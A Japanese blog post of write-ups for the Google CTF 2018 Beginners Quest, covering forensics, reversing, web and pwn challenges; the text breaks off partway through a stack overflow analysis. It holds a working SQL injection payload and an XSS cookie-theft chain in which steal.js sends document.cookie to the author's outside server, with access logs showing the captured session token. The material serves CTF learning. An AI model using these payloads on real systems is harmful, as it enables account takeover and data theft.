この記事はCTF Advent Calendar 2018 19日目の記事です。18日目はmage_1868さんのMortAl mage aGEnts write-up でした。
CTFビギナーなのでGoogle CTF 2018 Beginners Quest を解いており、Diary で書いているWriteupsをまとめます。全て解き終わらなかったので残りは解け次第追記します。
解くにあたり使ったツールも書こうとしてたんですが、長文になるため別機会で。コメントがあればTwitterもしくはMastodonまでお願いします。
Misc
LETTER
PDFファイルが1つ与えられる。Viewerによる検索でフラグを得る。
OCR IS COOL!
Gmailのメール本文がキャプチャされたPNGファイルが1つ与えられる。
文面からROT Nと考えられ、本文中のVMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk}
を復号する。フラグはCTF{...}
の形式であるため、ROT 7であると分かる。
復号にはCyberChef を用いた。
SECURITY BY OBSCURITY
ファイルが1つ与えられる。file commandによりzipだと分かるため展開する。
ある程度展開すると他の拡張子に変化するためコマンドを変えてまた展開する、ということをzip, xz, bz2, gzと行っていくと、最後にパスワード付きのzipが現れる。
brute forceでパスワードを確認し、展開してフラグを得る。ここではfcrackdiscを用いた。
- 展開スクリプト
import os
import filetype
import zipfile
import subprocess
import gzip
filepath = 'password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p'
while True:
extension = filetype.guess(filepath).extension
print('%s: %s' % (extension, filepath))
if extension == 'zip':
with zipfile.ZipFile(filepath) as f:
f.extractall()
elif extension == 'xz':
subprocess.call(['7z', 'e', filepath])
elif extension == 'bz2':
subprocess.call(['bzip2', '-d', filepath])
os.rename(filepath + '.out', '.'.join(filepath.split('.')[0:-1]))
elif extension == 'gz':
with gzip.open(filepath) as f:
with open('.'.join(filepath.split('.')[0:-1]), 'wb') as nf:
nf.write(f.read())
filepath = '.'.join(filepath.split('.')[0:-1])
- brute force
$ fcrackzip -l 4 -u -b password.x
PASSWORD FOUND!!!!: pw == asdf
$ unzip password.x
Archive: password.x
[password.x] password.txt password:
extracting: password.txt
$ cat password.txt
CTF{DUMMY_FLAG}
FLOPPY
$ file foo.ico
foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors
ico fileが与えられる。画像自体に気になる点は無いため、バイナリエディタで内容を確認。
データ後半にzipを示すマジックナンバーPK
が存在しdriver.txt
等のzipらしい文字列も続くため、PK
以下全データを新規ファイルとして保存しunzip。
$ unzip foo.zip
Archive: foo.zip
inflating: driver.txt
inflating: www.com
driver.txtの内容がフラグとなる。
FLOPPY2
自力で解けなかったためGoogle CTF: Beginner Quest: FLOPPY2 (Debugging DOS Programs) を参考にした。
FLOPPYにてフラグが書かれていたファイルにIn case of emergency, run www.com
と書かれており、run
から分かるようにこのファイルは実行可能。(ここが分からなかった)
$ cat driver.txt
This is the driver for the Aluminum-Key Hardware password storage device.
CTF{DUMMY}
In case of emergency, run www.com
COMファイル1はMS-DOSで実行可能であり、ここではDOSBox2を用いてエミュレートする。Debian系であればaptでインストールできる。
後述のデバッグのためDOSBoxのdebugger3もインストールする。
適当なディレクトリにwww.comと、debuggerに入っているDEBUG.COMを入れる。以下、このディレクトリをworkdirと呼ぶ。
dosboxを起動し、mount c ./workdir
でworkdirをC:にマウント。c:
でマウント先に移動する。
DEBUG.COM WWW.COM
で、WWW.COMをデバッガで起動。デバッガにてg
でWWW.COMを実行し、d
で実行結果をダンプ。フラグを得る。
- 余談
www.comはテキスト内に制御文字が含まれているため、そのまま実行してもフラグが表示されない。4
デバッガを使わずとも出力結果をファイルに保存し、テキストエディタやバイナリエディタで開いてもフラグを得ることができる。
MEDIA-DB
sqlite3を操作するpythonスクリプトが与えられる。
スクリプト起動時にoauth_tokens tableのoauth_token columnへフラグが登録される。
with open('oauth_token') as fd:
flag = fd.read()
conn = sqlite3.connect(':memory:')
c = conn.cursor()
c.execute("CREATE TABLE oauth_tokens (oauth_token text)")
c.execute("CREATE TABLE media (artist text, song text)")
c.execute("INSERT INTO oauth_tokens VALUES ('{}')".format(flag))
その後いくつかの機能が実行可能だが、insert機能でシングルクオートのエスケープを行なっていない。
if choice == '1':
my_print("artist name?")
artist = raw_input().replace('"', "")
my_print("song name?")
song = raw_input().replace('"', "")
c.execute("""INSERT INTO media VALUES ("{}", "{}")""".format(artist, song))
そしてmedia tableからランダムなartistを取り出し、結果をそのままwhereに利用する機能が存在する。
elif choice == '4':
artist = random.choice(list(c.execute("SELECT DISTINCT artist FROM media")))[0]
my_print("choosing songs from random artist: {}".format(artist))
print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist))
よってoauth_tokenの値が取得可能な文字列をartist名としてinsert後、ランダム機能によりその文字列を利用することでフラグを得られる。
% nc media-db.ctfcompetition.com 1337
=== Media DB ===
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 1
artist name?
1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; --
song name?
a
1) add song
2) play artist
3) play song
4) shuffle artist
5) exit
> 4
choosing songs from random artist: 1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; --
== new playlist ==
1: "a" by "1' OR '1' = '1' UNION ALL SELECT oauth_token, oauth_token FROM oauth_tokens; -- "
2: "CTF{DUMMY_FLAG}
" by "CTF{DUMMY_FLAG}
"
Reversing
FIRMWARE
ext4 filesystem dataが与えられる。mount後.mediapc_backdoor_password.gz
を発見。明らかに怪しいため中身を確認したところフラグを得た。
このファイルはtestdiskによるチェック時に発見した。
$ mkdir /mnt/challenge
$ mount challenge.ext4 /mnt/challenge
$ ls -la /mnt/challenge
total 40
drwxr-xr-x. 22 root root 1024 Jun 22 09:54 .
drwxr-xr-x. 3 root root 23 Nov 11 04:56 ..
-rw-r--r--. 1 root root 40 Jun 22 09:54 .mediapc_backdoor_password.gz
drwxr-xr-x. 2 root root 3072 Jun 22 09:54 bin
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 boot
drwxr-xr-x. 4 root root 1024 Jun 22 09:54 dev
drwxr-xr-x. 52 root root 4096 Jun 22 09:54 etc
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 home
drwxr-xr-x. 12 root root 1024 Jun 22 09:54 lib
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 lib64
drwx------. 2 root root 12288 Jun 22 09:51 lost+found
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 media
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 mnt
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 opt
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 proc
drwx------. 2 root root 1024 Jun 22 09:54 root
drwxr-xr-x. 4 root root 1024 Jun 22 09:54 run
drwxr-xr-x. 2 root root 3072 Jun 22 09:54 sbin
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 srv
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 sys
drwxr-xr-x. 2 root root 1024 Jun 22 09:54 tmp
drwxr-xr-x. 10 root root 1024 Jun 22 09:54 usr
drwxr-xr-x. 9 root root 1024 Jun 22 09:54 var
$ gzip -d /mnt/challenge/.mediapc_backdoor_password.gz
$ cat /mnt/challenge/.mediapc_backdoor_password
CTF{DUMMY_FLAG}
GATEKEEPER
usernameとpasswordを要求するELFファイルが与えられる。
$ ./gatekeeper
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
[ERROR] Login information missing
Usage: ./gatekeeper <username> <password>
gdb-pedaでstrcmp実行個所のRSIを確認。
1回目は0n3_W4rM。これがusernameになるため第一引数に設定して再実行
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554de0 ("0n3_W4rM")
RDI: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
RBP: 0x7fffffffe490 --> 0x0
RSP: 0x7fffffffe3e0 --> 0x7fffffffe578 --> 0x7fffffffe7d0 ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554a46 (<main+143>: call 0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe570 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554a39 <main+130>: mov rax,QWORD PTR [rax]
0x555555554a3c <main+133>: lea rsi,[rip+0x39d] # 0x555555554de0
0x555555554a43 <main+140>: mov rdi,rax
=> 0x555555554a46 <main+143>: call 0x555555554770 <strcmp@plt>
0x555555554a4b <main+148>: test eax,eax
0x555555554a4d <main+150>: je 0x555555554a7b <main+196>
0x555555554a4f <main+152>: mov edi,0xa
0x555555554a54 <main+157>: call 0x555555554710 <putchar@plt>
Guessed arguments:
arg[0]: 0x7fffffffe7f8 --> 0x4242004141414141 ('AAAAA')
arg[1]: 0x555555554de0 ("0n3_W4rM")
2回目はzLl1ks_d4m_T0g_I。これを第二引数に設定して再実行。
[----------------------------------registers-----------------------------------]
RAX: 0x555555757010 --> 0x4242424242 ('BBBBB')
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
RDI: 0x555555757010 --> 0x4242424242 ('BBBBB')
RBP: 0x7fffffffe480 --> 0x0
RSP: 0x7fffffffe3d0 --> 0x7fffffffe568 --> 0x7fffffffe7cd ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554b57 (<main+416>: call 0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe560 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554b49 <main+402>: mov rax,QWORD PTR [rbp-0x10]
0x555555554b4d <main+406>: lea rsi,[rip+0x2ad] # 0x555555554e01
0x555555554b54 <main+413>: mov rdi,rax
=> 0x555555554b57 <main+416>: call 0x555555554770 <strcmp@plt>
0x555555554b5c <main+421>: test eax,eax
0x555555554b5e <main+423>: jne 0x555555554bba <main+515>
0x555555554b60 <main+425>: lea rdi,[rip+0x2ab] # 0x555555554e12
0x555555554b67 <main+432>: call 0x5555555548ca <text_animation>
Guessed arguments:
arg[0]: 0x555555757010 --> 0x4242424242 ('BBBBB')
arg[1]: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
2回目のstrcmp。RDIには第2引数が入っているはずだが、zLl1ks_d4m_T0g_IからI_g0T_m4d_sk1lLzに変わっている。挙動や結果から反転されて比較されていることが分かるため、I_g0T_m4d_sk1lLzに設定して再実行。
[----------------------------------registers-----------------------------------]
RAX: 0x555555757010 ("I_g0T_m4d_sk1lLz")
RBX: 0x0
RCX: 0xb48 ('H\x0b')
RDX: 0x2e ('.')
RSI: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
RDI: 0x555555757010 ("I_g0T_m4d_sk1lLz")
RBP: 0x7fffffffe480 --> 0x0
RSP: 0x7fffffffe3d0 --> 0x7fffffffe568 --> 0x7fffffffe7c2 ("/media/sf_VirtualBoxCentOS/./gatekeeper")
RIP: 0x555555554b57 (<main+416>: call 0x555555554770 <strcmp@plt>)
R8 : 0x2e ('.')
R9 : 0x7ffff7ff1740 (0x00007ffff7ff1740)
R10: 0x7fffffffde20 --> 0x0
R11: 0x246
R12: 0x5555555547c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe560 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x555555554b49 <main+402>: mov rax,QWORD PTR [rbp-0x10]
0x555555554b4d <main+406>: lea rsi,[rip+0x2ad] # 0x555555554e01
0x555555554b54 <main+413>: mov rdi,rax
=> 0x555555554b57 <main+416>: call 0x555555554770 <strcmp@plt>
0x555555554b5c <main+421>: test eax,eax
0x555555554b5e <main+423>: jne 0x555555554bba <main+515>
0x555555554b60 <main+425>: lea rdi,[rip+0x2ab] # 0x555555554e12
0x555555554b67 <main+432>: call 0x5555555548ca <text_animation>
Guessed arguments:
arg[0]: 0x555555757010 ("I_g0T_m4d_sk1lLz")
arg[1]: 0x555555554e01 ("zLl1ks_d4m_T0g_I")
I_g0T_m4d_sk1lLzがpasswordであり、フラグを得る。
$ ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz
/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
~> Verifying.......Correct!
Welcome back!
CTF{DUMMY_FLAG}
Web
JS SAFE
自力で解けなかったためHacking Livestream #57: Google CTF 2018 Beginners Quest とCTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner’s Quest - JS Safe 1.0 / Writeup を参考にした。
Attachmentとしてjs_safe_1.html
が用意されており、ブラウザで開くとテキストボックスが表示される。適当な文字列を入力するとAccess Deniedと表示される。
<script>
const alg = { name: 'AES-CBC', iv: Uint8Array.from([211,42,178,197,55,212,108,85,255,21,132,210,209,137,37,24])};
const secret = Uint8Array.from([26,151,171,117,143,168,228,24,197,212,192,15,242,175,113,59,102,57,120,172,50,64,201,73,39,92,100,64,172,223,46,189,65,120,223,15,34,96,132,7,53,63,227,157,15,37,126,106]);
async function open_safe() {
keyhole.disabled = true; /* keyholeは表示されているテキストボックス */
password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
if (!password || !(await x(password[1]))) return document.body.className = 'denied';
document.body.className = 'granted';
const pwHash = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(password[1]));
const key = await crypto.subtle.importKey('raw', pwHash, alg, false, ['decrypt']);
content.value = new TextDecoder("utf-8").decode(await crypto.subtle.decrypt(alg, key, secret))
}
</script>
ソースを読むと、テキストボックスに入力された文字列が正規表現/^CTF{([0-9a-zA-Z_@!?-]+)}$/
にマッチする場合に{}の中の文字列をfunction xの引数として渡し、その結果がtrueであれば何らかのバイナリ列をデコードしている。
<script>
async function x(password) {
// TODO: check if they can just use Google to get the password once they understand how this works.
var code = 'icffjcifkciilckfmckincmfockkpcofqcoircqfscoktcsfucsivcufwcooxcwfycwiAcyfBcwkCcBfDcBiEcDfFcwoGcFfHcFiIcHfJcFkKcJfLcJiMcLfNcwwOcNNPcOOQcPORcQNScRkTcSiUcONVcUoWcOwXcWkYcVkЀcYiЁcЀfЂcQoЃcЂkЄcЃfЅcPNІcЅwЇcІoЈcЇiЉcЈfЊcPkЋcЊiЌcІiЍcЌfЎcWoЏcЎkАcЏiБcІkВcБfГcNkДcГfЕcЇkЖcЕiЗcЖfИcRwЙcИoКcЙkЛcUkМcЛiНcМfОcИkПcОiРcПfСcUwТcСiУcQkФcУiХcЃiЦcQwЧcЦoШcЧkЩcШiЪcЩfЫcRiЬcЫfЭcКiЮcЭfЯcСoаcЯiбcГiвcЙiгcRoдcгkеcдiжdТaзcЛfиdзaжcжийcСkкdйaжcжклcйfмdлaжcжмнdТaжcжноdЀaжcжопdNaжcжпрcUiсcрfтdсaуdЁaтcтутcтофcТfхdфaтcтхтcтктcтнтcтмцdсaтcтцтcтктcтутcтнчaaтшdЯaщcйiъcщfыdъaьcжыэcVfюdэaьcьюьcьояdЛaьcьяьcьуьcьыѐчшьёѐшшђcOfѓdђaѓcѓнѓcѓнєcUfѕdєaѓcѓѕіcЯfїdіaѓcѓїјaёѓљaaтњcжшћcЎiќcћfѝdќaњcњѝњcњeўcЏfџdўaњcњџѠdАaњcњѠњcњшњcњѝњcњfњcњџѡљшњѢaaтѣcжшѣcѣѝѣcѣeѣcѣџѤcЯkѥdѤaѣcѣѥѣcѣшѣcѣѝѣcѣfѣcѣџѦѢшѣѧcцнѧcѧїѨdСaѧcѧѨѧcѧкѧcѧуѩaёѧѪcхмѫdрaѪcѪѫѪcѪкѬdYaѪcѪѬѪcѪиѭaѩѪѮcяюѯdНaѮcѮѯѮcѮиѮcѮхѮcѮкѰaѭѮѱdVaѲcхѱѲcѲѕѳcNoѴcѳkѵcѴfѶdѵaѲcѲѶѲcѲiѲcѲlѲcѲmѷјѲgѸјѭѷѹbѰѸѺcXfѻdѺaѻcѻюѻcѻоѻcѻкѻcѻoѼdђaѻcѻѼѻcѻнѻcѻнѻcѻѕѻcѻїѽaёѻѾѽѹшѿceeҀceeҁcee҂ceeѿaѾeҀјѿT҂ѡҀшҁјh҂hѦҁшѿaѾfҀјѿV҂ѡҀшҁјh҂hѦҁшѿaѾiҀјѿU҂ѡҀшҁјh҂hѦҁшѿaѾjҀјѿX҂ѡҀшҁјh҂hѦҁшѿaѾkҀјѿЁ҂ѡҀшҁјh҂hѦҁшѿaѾlҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾmҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾnҀјѿЉ҂ѡҀшҁјh҂hѦҁшѿaѾoҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾpҀјѿЋ҂ѡҀшҁјh҂hѦҁшѿaѾqҀјѿЍ҂ѡҀшҁјh҂hѦҁшѿaѾrҀјѿА҂ѡҀшҁјh҂hѦҁшѿaѾsҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾtҀјѿВ҂ѡҀшҁјh҂hѦҁшѿaѾuҀјѿД҂ѡҀшҁјh҂hѦҁшѿaѾvҀјѿЗ҂ѡҀшҁјh҂hѦҁшѿaѾwҀјѿК҂ѡҀшҁјh҂hѦҁшѿaѾxҀјѿН҂ѡҀшҁјh҂hѦҁшѿaѾyҀјѿР҂ѡҀшҁјh҂hѦҁшѿaѾAҀјѿТ҂ѡҀшҁјh҂hѦҁшѿaѾBҀјѿФ҂ѡҀшҁјh҂hѦҁшѿaѾCҀјѿW҂ѡҀшҁјh҂hѦҁшѿaѾDҀјѿХ҂ѡҀшҁјh҂hѦҁшѿaѾEҀјѿЪ҂ѡҀшҁјh҂hѦҁшѿaѾFҀјѿЬ҂ѡҀшҁјh҂hѦҁшѿaѾGҀјѿЮ҂ѡҀшҁјh҂hѦҁшѿaѾHҀјѿа҂ѡҀшҁјh҂hѦҁшѿaѾIҀјѿe҂ѡҀшҁјh҂hѦҁшѿaѾJҀјѿб҂ѡҀшҁјh҂hѦҁшѿaѾKҀјѿв҂ѡҀшҁјh҂hѦҁшѿaѾLҀјѿK҂ѡҀшҁјh҂hѦҁшѿaѾMҀјѿе҂ѡҀшҁјh҂hѦҁшѐceeёceeѓceeјceeљceeњceeѡceeѢceeѣceeѦceeѧceeѩceeѪceeѭceeѮceeѰceeѲceeѷceeѸceeѹceeѻceeѽceeѾceeҀceeҁceeжceeтceeчceeьcee'
var env = {
a: (x,y) => x[y],
b: (x,y) => Function.constructor.apply.apply(x, y),
c: (x,y) => x+y,
d: (x) => String.fromCharCode(x),
e: 0,
f: 1,
g: new TextEncoder().encode(password),
h: 0,
};
for (var i = 0; i < code.length; i += 4) {
var [lhs, fn, arg1, arg2] = code.substr(i, 4);
try {
env[lhs] = env[fn](env[arg1], env[arg2]);
} catch(e) {
env[lhs] = new env[fn](env[arg1], env[arg2]);
}
if (env[lhs] instanceof Promise) env[lhs] = await env[lhs];
}
return !env.h;
}
</script>
function xでは文字列codeを4文字ずつ読み取り、その内容に応じて処理を行っている。この関数でtrueを返すには最終的にenv.hの値がnull, undefined, 0, ‘’(空文字列), falseのいずれかである必要がある。
for (var i = 0; i < code.length; i += 4) {
var [lhs, fn, arg1, arg2] = code.substr(i, 4);
console.log('-------------------------', i, env['h']);
console.log(lhs, "=", env[fn], "(", env[arg1], ",", env[arg2], ")");
console.log(env);
envの変化を追うためにconsole.logでプリントデバッグを行う。ざっと眺めると、しばらくは何らかの文字列の生成を行っているが、i=876から引数passwordのsha-256 ハッシュ値を取っているらしき処理が確認できる。
その後はまたしばらく文字列の生成が続き、i = 940で先程生成したハッシュ値のUint8Array()をenv['Ѿ']
に代入している。
i = 980で初めてenv.hの値が変化するため直前の処理に注目する。デバッグのため追加でarg1とarg2を出力している。
i = 960で先程代入したUint8Array()のindex 0をenv['ѿ']
に代入し、i = 968でenv['ѿ']
とenv['T']
(= 230)とのxorを取りenv['҂']
に代入している。i = 976でenv['h']
とenv['҂']
とのorを取った値をenv['h']
に代入している。
つまり、少なくともi = 960からi = 976までの処理を行いenv.hを0にするためには、function xの引数passwordのハッシュ値を取ったUint8Array()のindex 0が230となる必要がある。
i = 980以降の処理を見ると、Uint8Array()のindex 1以降について同様の処理を行っている。つまりxorを取っている箇所の結果が全て0になればよいと考えられる。
var nums = [];
for (var i = 0; i < code.length; i += 4) {
var [lhs, fn, arg1, arg2] = code.substr(i, 4);
if(i >= 960 ) {
console.log('-------------------------', i, env['h']);
console.log(lhs, "=", env[fn], "(", env[arg1], ",", env[arg2], ")");
console.log(env);
console.log('arg1:', arg1, ' arg2:', arg2);
if(lhs == '҂') { nums.push(env[arg1][1]) }
}
try {
env[lhs] = env[fn](env[arg1], env[arg2]);
} catch(e) {
env[lhs] = new env[fn](env[arg1], env[arg2]);
}
if (env[lhs] instanceof Promise) env[lhs] = await env[lhs];
if(i == 884){ console.log(env[lhs]) }
}
console.log(nums);
return !env.h;
以上のようにしてi >= 960についてxorを取られている値を出力。結果は[230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238]
。
CTF{}の中身のsha-256のハッシュ値が以上の結果と一致していればxorを取った結果が全て0になり、最終的なenv.hが0となる。
import binascii
nums = [230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238]
print(bytearray(nums).hex())
ハッシュ値をバイト列から文字列に直すためのPython Script。結果はe66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee
。
これがハッシュ値となる文字列はHash Encryption and Reverse Decryption 等のサービスを使って求める。得られた値をCTF{}の中身としたものがフラグである。
- 余談
Chromeを使用したプリントデバッグでconsole.log(env)
とすると意図しない出力5となる。(これに引っかかり自力で解けなかった)
ROUTER-UI
username, passwordを入力しSign inを行うページ https://router-ui.web.ctfcompetition.com/login が与えられる。
XSS脆弱性確認
If we could find an XSS on the page then we could use it to steal the root user session token.
問題文によるとXSSが実行可能であり、これを用いてroot userのsession tokenを奪う必要がある。
まず普通の文字列でログインを試す。
不自然に//
で区切られており、何らかの場面でこれを利用すると考えられる。
次に、usernameに<script>alert(1);</script>
を入力しXSSを試す。ChromeとSafariではブラウザのXSSブロック機能が働くためFirefoxを用いた。
alert(1)
が動作している。同様の手順でpasswordにもXSSの脆弱性があることを確認した。
問題文に書かれているメールアドレス確認
In case you find something, try to send an email to wintermuted@googlegroups.com .
問題文には管理人らしき人物にメール送信が可能とも書いている。
挙動確認のためwintermuted@googlegroups.com
へ本文が空のメールを送ると、以下の文が返信された。
Hey,
I checked out your email, but I couldn't spot anything that looked like a link. Can you send it again?
送信したリンクへWintermutedがアクセスするらしい。
Sign inページ内にはWintermutedにスクリプトを実行させる手段が無いため、攻撃サーバを用意してcookieを奪う問題だと推測できる。(攻撃サーバを立てるという発想がなく、ここが分からなかった)
攻撃用サーバ用意
攻撃用サーバを立て、Sign inページへ自動的にPOSTを行うフォームを作成する。ここではhttps://ctf.unigiri.net
を立て、Let’s Encryptで証明書を取得した。
Wintermutedに踏ませるrouter-ui.html
は以下の通り。usernameとpasswordを区切る文字列//
を利用するとURLを含むscriptの実行に成功する。
全ての通信は必ずHTTPSで通信すること。HTTP通信では後述のCookieを得られない。
<html>
<body>
<form method="POST" action="https://router-ui.web.ctfcompetition.com/login">
<input name="username" value="<script src=https:">
<input name="password" value="ctf.unigiri.net/steal.js></script>;">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
steal.jsの中身はwindow.location.href='https://ctf.unigiri.net/log.php?'+document.cookie;
一行のみ。
これによりWintermutedがrouter-ui.htmlへアクセスした際、以下の順で通信が発生する。
- GET https://ctf.unigiri.net/router-ui.html
- POST https://router-ui.web.ctfcompetition.com/login
- GET https://ctf.unigiri.net/log.php?COOKIE
3回目の通信のパラメータにはWintermutedのCookieが挿入され、この値を攻撃サーバのアクセスログから確認する。
攻撃実施
-
- Wintermutedへ攻撃用URL送信
本文に https://ctf.unigiri.net/router-ui.html を入力して送信。猫の画像は添付しなくてよい。
-
- アクセスログ確認
- - [15/Dec/2018:08:45:28 +0000] "GET /router-ui.html HTTP/2.0" 200 337 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
- - [15/Dec/2018:08:45:28 +0000] "GET /steal.js HTTP/2.0" 200 205 "https://router-ui.web.ctfcompetition.com/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
- - [15/Dec/2018:08:45:28 +0000] "GET /log.php?flag=Try%20the%20session%20cookie;%20session=Avaev8thDieM6Quauoh2TuDeaez9Weja HTTP/2.0" 404 277 "https://router-ui.web.ctfcompetition.com/login" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36"
3行目のflag=Try...
がWintermutedのCookieである。URL Decodeを行うとTry the session cookie; session=Avaev8thDieM6Quauoh2TuDeaez9Weja
が得られ、指示通りに進める。
- Cookie設定
Firefoxのヘッダ書き換えプラグインを用いてCookieにsession=Avaev8thDieM6Quauoh2TuDeaez9Weja
を指定した状態で https://router-ui.web.ctfcompetition.com/
へアクセス。
管理画面が表示され、ページのソースからフラグを得る。
Pwn
MOAR
nc moar.ctfcompetition.com 1337
を実行するとman socat
が開く。!<command>
でshell codeが実行可能なので、怪しいファイルを探しフラグを得る。
$ nc moar.ctfcompetition.com 1337
socat(1) socat(1)
NAME socat - Multipurpose relay (SOcket CAT)
SYNOPSIS
socat [options] <address> <address>
socat -V
socat -h[h[h]] | -?[?[?]]
filan
procan
DESCRIPTION
Socat is a command line based utility that establishes two bidirec-
tional byte streams and transfers data between them. Because the
streams can be constructed from a large set of different types of data
sinks and sources (see address types), and because lots of address
options may be applied to the streams, socat can be used for many dif-
ferent purposes.
Filan is a utility that prints information about its active file
descriptors to stdout. It has been written for debugging socat, but
might be useful for other purposes too. Use the -h option to find more
Manual page socat(1) line 1 (press h for help or q to quit)!ls
!ls
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
!done (press RETURN)!ls /home
!ls /home
moar
!done (press RETURN)!ls /home/moar
!ls /home/moar
disable_dmz.sh
!done (press RETURN)!cat /home/moar/disable_dmz.sh
!cat /home/moar/disable_dmz.sh
#!/bin/sh
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
echo 'Disabling DMZ using password CTF{DUMMY_FLAG}'
echo CTF{DUMMY_FLAG} > /dev/dmz
!done (press RETURN)
MESSAGE OF THE DAY
コマンドnc motd.ctfcompetition.com 1337
とバイナリmotd
が与えられる。
ncを実行するとメニューが表示される。
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice:
ここではプログラムに保存する1行の文字列をMOTDと呼んでいる。起動直後はMOTDとしてMOTD: Welcome back friend!
が保存されている。
機能1で一般ユーザ用のMOTD表示, 2で保存を行い、3でadmin用のMOTD設定, 4で表示を行う。
脆弱な挙動を探す
$ python -c "print('2\n'+'A'*300)" | nc motd.ctfcompetition.com 1337
Choose functionality to test:
1 - Get user MOTD
2 - Set user MOTD
3 - Set admin MOTD (TODO)
4 - Get admin MOTD
5 - Exit
choice: Enter new message of the day
New msg: New message of the day saved!
$ # 正常であれば再度メニューが表示されるが、異常終了した
機能2で適当に長い文字列を与えるとプログラムが異常終了するため、文字列の長さをチェックしていないと考えられる。
IDAによる挙動確認
; Attributes: bp-based frame
public set_motd
set_motd proc near
src= byte ptr -100h
push rbp
mov rbp, rsp
sub rsp, 100h
lea rdi, s ; "Enter new message of the day"
call _puts
lea rdi, format ; "New msg: "
mov eax, 0
call _printf
lea rax, [rbp+src]
mov rdi, rax
mov eax, 0
call _gets
lea rax, [rbp+src]
mov edx, 100h ; n
mov rsi, rax ; src
lea rdi, MOTD ; dest
call _strncpy
mov cs:byte_608071DF, 0
lea rdi, aNewMessageOfTh ; "New message of the day saved!"
call _puts
nop
leave
retn
set_motd endp
機能2の処理内容。sub rsp, 100h
でMOTD入力用バッファを確保した後、[rbp+src]へ入力の長さを確認せず読み込んでいる。よってここでリターンアドレスの書き換えが可能。
; Attributes: bp-based frame
public read_flag
read_flag proc near
var_110= byte ptr -110h
var_8= qword ptr -8
push rbp
mov rbp, rsp
sub rsp, 110h
